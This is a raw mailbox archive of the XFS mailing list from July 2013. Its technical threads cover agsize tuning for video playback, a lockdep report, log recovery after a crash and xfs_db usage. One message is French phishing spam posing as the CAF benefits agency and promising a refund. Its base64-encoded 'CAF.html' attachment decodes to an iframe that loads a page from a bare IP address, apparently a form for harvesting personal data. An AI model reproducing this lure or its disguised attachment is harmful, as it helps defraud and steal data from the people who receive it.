SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Jul 14, 2013 at 10:14:15AM -0700, aurfalien wrote: > On Jul 14, 2013, at 9:14 AM, Eric Sandeen wrote: > > On 7/13/13 11:20 PM, aurfalien wrote: > >> On Jul 13, 2013, at 7:13 PM, Eric Sandeen wrote: > >>> On 7/13/13 7:11 PM, aurfalien wrote: > >>>> Hello again, > >>>> > >>>> I have a Raid 6 x16 disk array with 128k stripe size and a > >>>> 512 byte block size. > >>>> > >>>> So I do; > >>>> > >>>> mkfs.xfs -f -l size=512m -d su=128k,sw=14 > >>>> /dev/mapper/vg_doofus_data-lv_data > >>>> > >>>> And I get; > >>>> > >>>> meta-data=/dev/mapper/vg_doofus_data-lv_data isize=256 > >>>> agcount=32, agsize=209428640 blks = > >>>> sectsz=512 attr=2, projid32bit=0 data = > >>>> bsize=4096 blocks=6701716480, imaxpct=5 = > >>>> sunit=32 swidth=448 blks naming =version 2 > >>>> bsize=4096 ascii-ci=0 log =internal log > >>>> bsize=4096 blocks=131072, version=2 = > >>>> sectsz=512 sunit=32 blks, lazy-count=1 realtime =none > >>>> extsz=4096 blocks=0, rtextents=0 > >>>> > >>>> > >>>> All is fine but I was recently made aware of tweaking agsize. > >>> > >>> Made aware by what? For what reason? > >> > >> Autodesk has this software called Flame which requires very > >> very fast local storage using XFS. They have an entire write up > >> on how to calc proper agsize for optimal performance. > > > > http://wikihelp.autodesk.com/Creative_Finishing/enu/2012/Help/05_Installation_Guides/Installation_and_Configuration_Guide_for_Linux_Workstations/0118-Advanced118/0194-Manually194/0199-Creating199 > > > > I guess? > > > > That's quite a procedure! And I have to say, a slightly strange > > one at first glance. > > > > It'd be nice if they said what they were trying to accomplish > > rather than just giving you a long recipe. > > > Sorry to double reply to the same thread. > > But the volume in question (regarding the Autodesk article) is > used for very fast playback of image files. So realtime > performance for files of 2048x1556 resolution. These files are > being touched/retouched throughout the day by the person driving > the Flame. Sure - it's file per frame video that is being used here, and 2k resolution is generally around 12.5MB per frame. If you are concerned about playback rates, then it is far more important that the frames are laid out sequentially on disk than anything else. Tuning the number of AGs doesn't acheive that - increasing the number of AGs is more likely to cause them to be written all over the place, especially as the filesystem ages and AGs fill up. > The fragmentation on these systems on a heavy day, meaning one > were they are running at 98% full is about 5% on avg. On any > given day, the systems are about 80% full. If they are running their filesystems to 98% full, they they have already given up any hope they have of getting reliable layout of their video files. If you are concerned about low latency, high throughput playback, then it's far more important to get the stripe width set up correctly for the size of the file so each frame is stripe width aligned and each frame takes a single physical IO to read from disk and there is minimal seek between the two frames. The only reason I can see for increasing the number of AGs here is that they are trying to limit the number of video directories that share the same AGs as they are specifying the inode64 mount option. i.e. the assumption is that each video clip is sufficiently large that with 128AGs it is unlikely that two video clips will end up in the same AG and hence potentially interleave as they are modified.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Jul 14 20:25:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C35F17F37 for ; Sun, 14 Jul 2013 20:25:15 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5981BAC002 for ; Sun, 14 Jul 2013 18:25:12 -0700 (PDT) X-ASG-Debug-ID: 1373851510-04bdf02b8edaa100001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id IcjxdGFSYviRrHoR for ; Sun, 14 Jul 2013 18:25:10 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ag8MAI5O41F5LMTB/2dsb2JhbABagwa9JIUpBAGBCxd0giMBAQUnExwjEAgDGAklDwUlAyETiA+1RBaOMYEdB4N4A5dbkU6DJCo Received: from ppp121-44-196-193.lns20.syd7.internode.on.net (HELO dastard) ([121.44.196.193]) by ipmail06.adl2.internode.on.net with ESMTP; 15 Jul 2013 10:55:08 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UyXWr-0001Sr-3d; Mon, 15 Jul 2013 11:24:41 +1000 Date: Mon, 15 Jul 2013 11:24:41 +1000 From: Dave Chinner To: "Michael L. Semon" Cc: xfs@oss.sgi.com Subject: Re: Lockdep for 3.10.0+ for rm of kernel git... Message-ID: <20130715012441.GG5228@dastard> X-ASG-Orig-Subj: Re: Lockdep for 3.10.0+ for rm of kernel git... References: <51E1F1F4.40500@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51E1F1F4.40500@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1373851510 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Sat, Jul 13, 2013 at 08:33:56PM -0400, Michael L. Semon wrote: > Hi! Here's a lockdep that happened while executing an `rm -r linux` to > remove an old kernel git directory. This is for a git 3.10.0+ kernel > on a non-CRC XFS filesystem that's less than a week old. > > I'm not getting lockdep reports like this unless I'm minding my own > business. xfstests could be running until there's a faint burning > electrical smell in the room, and this won't show up. But if all I'm > doing is removing things to prepare for the next xfstests session or > git activity, then this lockdep will show up. I'm not sure if I get > the same lockdep every time, but it's related to deletes somehow, and > it's newer than the production 3.10 kernel, AFAIK. > > For the lockdeps, this pattern is prominent... > > CPU0 > ---- > lock(&(&ip->i_lock)->mr_lock); > > lock(&(&ip->i_lock)->mr_lock); > > ...and lockdep hasn't suggested the SMP scenario on XFS in some time. > > There does seem to be some new lockdep work in the kernel, so maybe > it's not a regression but something else. ..... > [] __get_free_pages+0x1c/0x37 > [] pte_alloc_one_kernel+0x14/0x16 > [] __pte_alloc_kernel+0x16/0x71 > [] vmap_page_range_noflush+0x12c/0x13a > [] vm_map_ram+0x32c/0x3d7 > [] ? vm_map_ram+0x72/0x3d7 > [] _xfs_buf_map_pages+0x5b/0xe1 It's vmap related. Again. Ignore it. On the bright side, I think I've found precedence in the kernel for getting this fixed, so stay tuned.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Jul 14 21:29:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.7 required=5.0 tests=FAKE_REPLY_C autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 410B77F37 for ; Sun, 14 Jul 2013 21:29:08 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A9AE9AC001 for ; Sun, 14 Jul 2013 19:29:04 -0700 (PDT) X-ASG-Debug-ID: 1373855340-04cbb0468efadbe0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id ceFuTdwAWSNwf8H8 for ; Sun, 14 Jul 2013 19:29:00 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlokAAVe41F5LMTB/2dsb2JhbABagwY0g1WqRwKOUoUpBAGBCxd0giMBAQQBIw8BIyMFEwMYAgIFIQIRBSUDIROICgUNpFmQXhaBEIxzLoEdB4JYgSADl1uRToMkKg Received: from ppp121-44-196-193.lns20.syd7.internode.on.net (HELO dastard) ([121.44.196.193]) by ipmail06.adl2.internode.on.net with ESMTP; 15 Jul 2013 11:58:46 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UyYWn-0001Yx-Tw; Mon, 15 Jul 2013 12:28:41 +1000 Date: Mon, 15 Jul 2013 12:28:41 +1000 From: Dave Chinner To: Markus Trippelsdorf Cc: Stan Hoeppner , xfs@oss.sgi.com Subject: Re: Corruption of root fs during git bisect of drm system hang Message-ID: <20130715022841.GH5228@dastard> X-ASG-Orig-Subj: Re: Corruption of root fs during git bisect of drm system hang MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20130713090523.GA362@x4> <20130712070721.GA359@x4> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1373855340 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jul 12, 2013 at 09:07:21AM +0200, Markus Trippelsdorf wrote: > On 2013.07.12 at 12:17 +1000, Dave Chinner wrote: > > On Thu, Jul 11, 2013 at 11:07:55AM +0200, Markus Trippelsdorf wrote: > > > On 2013.07.10 at 23:12 -0500, Stan Hoeppner wrote: > > > > On 7/10/2013 10:58 PM, Dave Chinner wrote: > > > > > On Thu, Jul 11, 2013 at 05:36:21AM +0200, Markus Trippelsdorf wrote: > > > > > > > > >> I was loosing my KDE settings bit by bit with every reboot during the > > > > >> bisection. First my window-rules disappeared, then my desktop background > > > > >> changed to default, then my taskbar moved from top to the bottom, etc. > > > > >> In the end I had to restore all my .files from backup. > > > > > > > > > > That's not filesystem corruption. That sounds more like someone not > > > > > using fsync in the apropriate place when overwriting a file.... > > > > > > > > From Sandeen's blog, March 2009: > > > > > > > > "I dunno how to resolve this right now. I talked to some nice KDE folks > > > > on irc; they basically want atomic writes, either you get your old file > > > > or your new file post-crash; and tempfile/sync/rename does this – but > > > > the fsync hurts on 78% of the Linux filesystems out there. So their > > > > KSaveFile class doesn’t fsync. So what to do, what to do.." > > > > > > > > That's 4 years ago. Is it possible the KDE devs are still not using > > > > fsync? Sure seems likely given Markus' problem. > > > > > > Looking at the source: > > > http://api.kde.org/4.10-api/kdelibs-apidocs/kdecore/html/ksavefile_8cpp_source.html#l00219 > > > it appears that one can set an environment variable KDE_EXTRA_FSYNC to > > > address this issue. > > > > > > However in my case it doesn't help. Even with KDE_EXTRA_FSYNC=1 I still > > > loose my KDE settings in case of a crash. So the whole fsync thing might > > > be a red herring. > > > > > > What's more this time I endend up with undeletable files in /tmp (for > > > example .X0-lock) after the crash: > > > > > > (/dev/sdb was mounted and unmounted normally before I ran xfs_repair) > > > > > > t@ubunt:~# xfs_repair /dev/sdb > > > Phase 1 - find and verify superblock... > > > Phase 2 - using internal log > > > - zero log... > > > - scan filesystem freespace and inode maps... > > > agi unlinked bucket 0 is 683435008 in ag 2 (inode=4978402304) > > > agi unlinked bucket 1 is 683435009 in ag 2 (inode=4978402305) > > > - found root inode chunk > > > > Again, these are signs that log recovery has not completed > > successfully or that for some reason it thought the log was clean. > > Can you please post the dmesg output after the crash when you go > > through the mount/unmount process before you run xfs_repair? > > Sure. > First boot after crash: > XFS (sdb2): Mounting Filesystem > XFS (sdb2): Starting recovery (logdev: internal) > XFS (sdb2): Ending recovery (logdev: internal) > > Second boot after crash: > XFS (sdb2): Mounting Filesystem > XFS (sdb2): Ending clean mount > > I then boot Ubuntu from another disc to run xfs_repair. That's what shoul dhave been in the initial description of your problem. > And looking through my logs I see this WARNING: > > ------------[ cut here ]------------ > WARNING: CPU: 0 PID: 439 at fs/inode.c:280 drop_nlink+0x33/0x40() > CPU: 0 PID: 439 Comm: gconfd-2 Not tainted 3.10.0-08982-g6d128e1-dirty #42 > Hardware name: System manufacturer System Product Name/M4A78T-E, BIOS 3503 04/13/2011 > 0000000000000009 ffffffff8157d030 0000000000000000 ffffffff81060788 > ffff8801f8608cc8 ffff880205998230 ffff8801f7bede58 0000000000000000 > ffff8801f86083c0 ffffffff8110ce93 ffff8801f8608b40 ffffffff811b7104 > Call Trace: > [] ? dump_stack+0x41/0x51 > [] ? warn_slowpath_common+0x68/0x80 > [] ? drop_nlink+0x33/0x40 > [] ? xfs_droplink+0x24/0x60 > [] ? xfs_remove+0x24d/0x380 > [] ? xfs_vn_unlink+0x37/0x80 > [] ? vfs_unlink+0x6e/0xe0 > [] ? do_unlinkat+0x16a/0x220 > [] ? SyS_faccessat+0x149/0x200 > [] ? system_call_fastpath+0x16/0x1b When did that occur? Before the crash, after the first/second mount? after you ran repair? > Some further observations: > > When I boot 3.2.0 after the crash log recovery works fine. > > When I boot 3.9.0 after the crash I get the following: > > [ 2.332989] XFS (sdc2): Mounting Filesystem > [ 2.406206] XFS (sdc2): Starting recovery (logdev: internal) > [ 2.418147] XFS (sdc2): log record CRC mismatch: found 0xdbcaef48, expected 0x69e7934e. Just informational - indicating that the log records don't have valid CRCs in them because 3.2 didn't calculate them. If you are getting them when after a crash on a 3.9+ kernel, then there's a problem writing to the log.... > When I boot the current Linus tree after the crash log recovery fails silently. dmesg output, please. Indeed, what does "fails silently" mean? the filesystem doesn't mount but no error is given? Cheers, Dave. -- Dave Chinner david@fromorbit.com From service@bp06.net Sun Jul 14 22:20:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.2 required=5.0 tests=HTML_MESSAGE,NORMAL_HTTP_TO_IP, T_HTML_ATTACH autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F08D47F37 for ; Sun, 14 Jul 2013 22:20:25 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7DDE7AC007 for ; Sun, 14 Jul 2013 20:20:22 -0700 (PDT) X-ASG-Debug-ID: 1373858419-04bdf02b8edb1250001-NocioJ Received: from ns2344378 (ns2344378.ovh.net [37.59.26.38]) by cuda.sgi.com with ESMTP id PnindWAw9A3ErV4j for ; Sun, 14 Jul 2013 20:20:19 -0700 (PDT) X-Barracuda-Envelope-From: service@bp06.net X-Barracuda-Apparent-Source-IP: 37.59.26.38 Received: from [37.59.26.38] ([127.0.0.1]) by ns2344378 with Microsoft SMTPSVC(7.5.7601.17514); Mon, 15 Jul 2013 04:20:18 +0100 Message-Id: Mime-Version: 1.0 From: les Af To: xfs Subject: Un remboursement de notre part Date: Mon, 15 Jul 2013 04:20:18 +0100 X-ASG-Orig-Subj: Un remboursement de notre part Content-Type: multipart/mixed; Boundary="--=BOUNDARY_715420_IEKC_BYIF_WFDA_RYSS" X-OriginalArrivalTime: 15 Jul 2013 03:20:19.0005 (UTC) FILETIME=[3B9BDED0:01CE810A] X-Barracuda-Connect: ns2344378.ovh.net[37.59.26.38] X-Barracuda-Start-Time: 1373858419 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.75 X-Barracuda-Spam-Status: No, SCORE=0.75 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0224, BSF_SC7_MJ5792, HTML_IFRAME_SRC, HTML_MESSAGE, NORMAL_HTTP_TO_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL 0.00 HTML_IFRAME_SRC BODY: Message has HTML IFRAME tag with SRC URI 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_MV0224 FULL: Custom rule MV0224 0.25 BSF_SC7_MJ5792 Mismatched html tag text Ce message est au format MIME. Comme votre logiciel de courrier ne comprend pas ce format, tout ou partie de ce message pourrait être illisible. ----=BOUNDARY_715420_IEKC_BYIF_WFDA_RYSS Content-Type: multipart/alternative; Boundary="--=BOUNDARY_715420_PWAT_IXAK_MWYU_VTQC" ----=BOUNDARY_715420_PWAT_IXAK_MWYU_VTQC Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable     --> Cher client, ch=E8re cliente, Apr=E8s le dernier calculs annuel de votre activit=E9 financi=E8re=2E Nous avons d=E9termin=E9 que vous =EAtes admissible a recevoir un remboursement de notre part d'un montant de 216=2E50 Euro=2E S'il vous pla=EEt demander le remboursement financier de remplir les donn=E9es dans le fichier joint et que nous permettions de traiter votre situation dans les deux journ=E9es ouvertes Nous vous remercions pour votre confiance=2E A bient=F4t sur votre espace CAF=2E   ----=BOUNDARY_715420_PWAT_IXAK_MWYU_VTQC Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable
     
     
    Cher client, ch=E8re cliente,

    Apr=E8s le dernier calculs annuel de votre activit=E9 financi=E8re=2E

    Nous avons d=E9termin=E9 que vous =EAtes admissible a recevoir un remboursement de notre part d'un montant de 216=2E50 Euro=2E

    S'il vous pla=EEt demander le remboursement financier de remplir les donn=E9es dans le fichier joint et que nous permettions de traiter votre situation dans les deux journ=E9es ouvertes

    Nous vous remercions pour votre confiance=2E

    A bient=F4t sur votre espace CAF=2E

     

    ----=BOUNDARY_715420_PWAT_IXAK_MWYU_VTQC-- ----=BOUNDARY_715420_IEKC_BYIF_WFDA_RYSS Content-Disposition: attachment; filename="CAF.html" Content-Transfer-Encoding: base64 Content-Type: text/html; x-mac-type="3F3F3F3F"; x-mac-creator="3F3F3F3F" name="CAF.html"; 77u/PGlmcmFtZSBzcmM9J2h0dHA6Ly8xMDguMTc5LjIyMy41Ni9+Y2x1YmV2aXAvRkFDLycgd2lk dGg9JzEwMCUnIGhlaWdodD0iMTAwJSIgPjwvaWZyYW1lPg== ----=BOUNDARY_715420_IEKC_BYIF_WFDA_RYSS-- From jra@baylink.com Sun Jul 14 23:41:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 063567F37 for ; Sun, 14 Jul 2013 23:41:18 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 86C0BAC004 for ; Sun, 14 Jul 2013 21:41:17 -0700 (PDT) X-ASG-Debug-ID: 1373863275-04bdf0233cfdca40001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id 6FCtyKJuaienFZAE for ; Sun, 14 Jul 2013 21:41:15 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id 4E7F71F00575 for ; Mon, 15 Jul 2013 00:41:15 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 0Z8trqiGhO+N for ; Mon, 15 Jul 2013 00:41:11 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id 1080D1F0057C for ; Mon, 15 Jul 2013 00:41:11 -0400 (EDT) Date: Mon, 15 Jul 2013 00:41:11 -0400 (EDT) From: Jay Ashworth To: xfs@oss.sgi.com Message-ID: <20537712.1400.1373863270994.JavaMail.root@benjamin.baylink.com> In-Reply-To: <20130715000748.GD5228@dastard> Subject: Re: XFS filesystem triggering assert in _repair 3.1.11 MIME-Version: 1.0 X-ASG-Orig-Subj: Re: XFS filesystem triggering assert in _repair 3.1.11 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [107.41.88.220] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - SAF3 (Win)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1373863275 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 2.00 BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL Custom Rule HREF_FROM_MISMATCH_TEXT_URIx1_HL ----- Original Message ----- > From: "Dave Chinner" > > > xfs_db> type bmapbt > > > > Well, the manpage says that's a type, but my xfs_db, v 3.1.11, says > > it's not. Huh? > > bmapbtd. "d" mens data fork. bmapbta is for the attribute fork.... Oddly, the manpage I was looking at listed just the one, without the suffixes. > > I hate power supplies. > > I'd be spending a few dollars to get a new one ;) The old one was a $100 Antec 650 that lasted nearly 7 solid years; I'm not feeling too badly about it. It's been replaced by a Corsair; we'll see how that plays in Peoria. Cheers, -- jra -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From markus@trippelsdorf.de Mon Jul 15 01:47:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0C7BA7F37 for ; Mon, 15 Jul 2013 01:47:42 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E66BA8F8033 for ; Sun, 14 Jul 2013 23:47:38 -0700 (PDT) X-ASG-Debug-ID: 1373870855-04cb6c2a42d19890001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id ESUAcgkyttUSYTL0 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 14 Jul 2013 23:47:36 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:in-reply-to; s=beta; bh=Yhp9iw8xs96BUGJXoQ92TRTVtw 8Ou17ylzNZd3n4u18=; b=Q7XY47o2IFKOAZOi0Poq+JjARDNBsK9b+x16vR8RQC 5novDLNsdERvldEuG2skKAtTH1szDn6KTGb06jJseALBBRaNXyDBb0lIb+DWpJGq ULekzxrZ7rh6dd/HjBkgz9ZvzsZgZFLbnhcxaCv0uCoaRAcRzHx7pHzTZ4iUGkcj A= Received: (qmail 31398 invoked from network); 15 Jul 2013 08:47:35 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 15 Jul 2013 08:47:35 +0200 Date: Mon, 15 Jul 2013 08:47:34 +0200 From: Markus Trippelsdorf To: Dave Chinner Cc: Stan Hoeppner , xfs@oss.sgi.com Subject: Re: Corruption of root fs during git bisect of drm system hang Message-ID: <20130715064734.GA361@x4> X-ASG-Orig-Subj: Re: Corruption of root fs during git bisect of drm system hang References: <20130713090523.GA362@x4> <20130712070721.GA359@x4> <20130715022841.GH5228@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130715022841.GH5228@dastard> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1373870856 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.15 at 12:28 +1000, Dave Chinner wrote: > On Fri, Jul 12, 2013 at 09:07:21AM +0200, Markus Trippelsdorf wrote: > > On 2013.07.12 at 12:17 +1000, Dave Chinner wrote: > > > On Thu, Jul 11, 2013 at 11:07:55AM +0200, Markus Trippelsdorf wrote: > > > > On 2013.07.10 at 23:12 -0500, Stan Hoeppner wrote: > > > > > On 7/10/2013 10:58 PM, Dave Chinner wrote: > > > > > > On Thu, Jul 11, 2013 at 05:36:21AM +0200, Markus Trippelsdorf wrote: > > > > > > > > > > >> I was loosing my KDE settings bit by bit with every reboot during the > > > > > >> bisection. First my window-rules disappeared, then my desktop background > > > > > >> changed to default, then my taskbar moved from top to the bottom, etc. > > > > > >> In the end I had to restore all my .files from backup. > > > > > > > > > > > > That's not filesystem corruption. That sounds more like someone not > > > > > > using fsync in the apropriate place when overwriting a file.... > > > > > > > > > t@ubunt:~# xfs_repair /dev/sdb > > > > Phase 1 - find and verify superblock... > > > > Phase 2 - using internal log > > > > - zero log... > > > > - scan filesystem freespace and inode maps... > > > > agi unlinked bucket 0 is 683435008 in ag 2 (inode=4978402304) > > > > agi unlinked bucket 1 is 683435009 in ag 2 (inode=4978402305) > > > > - found root inode chunk > > > > > > Again, these are signs that log recovery has not completed > > > successfully or that for some reason it thought the log was clean. > > > Can you please post the dmesg output after the crash when you go > > > through the mount/unmount process before you run xfs_repair? > > > > Sure. > > First boot after crash: > > XFS (sdb2): Mounting Filesystem > > XFS (sdb2): Starting recovery (logdev: internal) > > XFS (sdb2): Ending recovery (logdev: internal) > > > > Second boot after crash: > > XFS (sdb2): Mounting Filesystem > > XFS (sdb2): Ending clean mount > > > > I then boot Ubuntu from another disc to run xfs_repair. > > That's what shoul dhave been in the initial description of your > problem. > > > And looking through my logs I see this WARNING: > > > > ------------[ cut here ]------------ > > WARNING: CPU: 0 PID: 439 at fs/inode.c:280 drop_nlink+0x33/0x40() > > CPU: 0 PID: 439 Comm: gconfd-2 Not tainted 3.10.0-08982-g6d128e1-dirty #42 > > Hardware name: System manufacturer System Product Name/M4A78T-E, BIOS 3503 04/13/2011 > > 0000000000000009 ffffffff8157d030 0000000000000000 ffffffff81060788 > > ffff8801f8608cc8 ffff880205998230 ffff8801f7bede58 0000000000000000 > > ffff8801f86083c0 ffffffff8110ce93 ffff8801f8608b40 ffffffff811b7104 > > Call Trace: > > [] ? dump_stack+0x41/0x51 > > [] ? warn_slowpath_common+0x68/0x80 > > [] ? drop_nlink+0x33/0x40 > > [] ? xfs_droplink+0x24/0x60 > > [] ? xfs_remove+0x24d/0x380 > > [] ? xfs_vn_unlink+0x37/0x80 > > [] ? vfs_unlink+0x6e/0xe0 > > 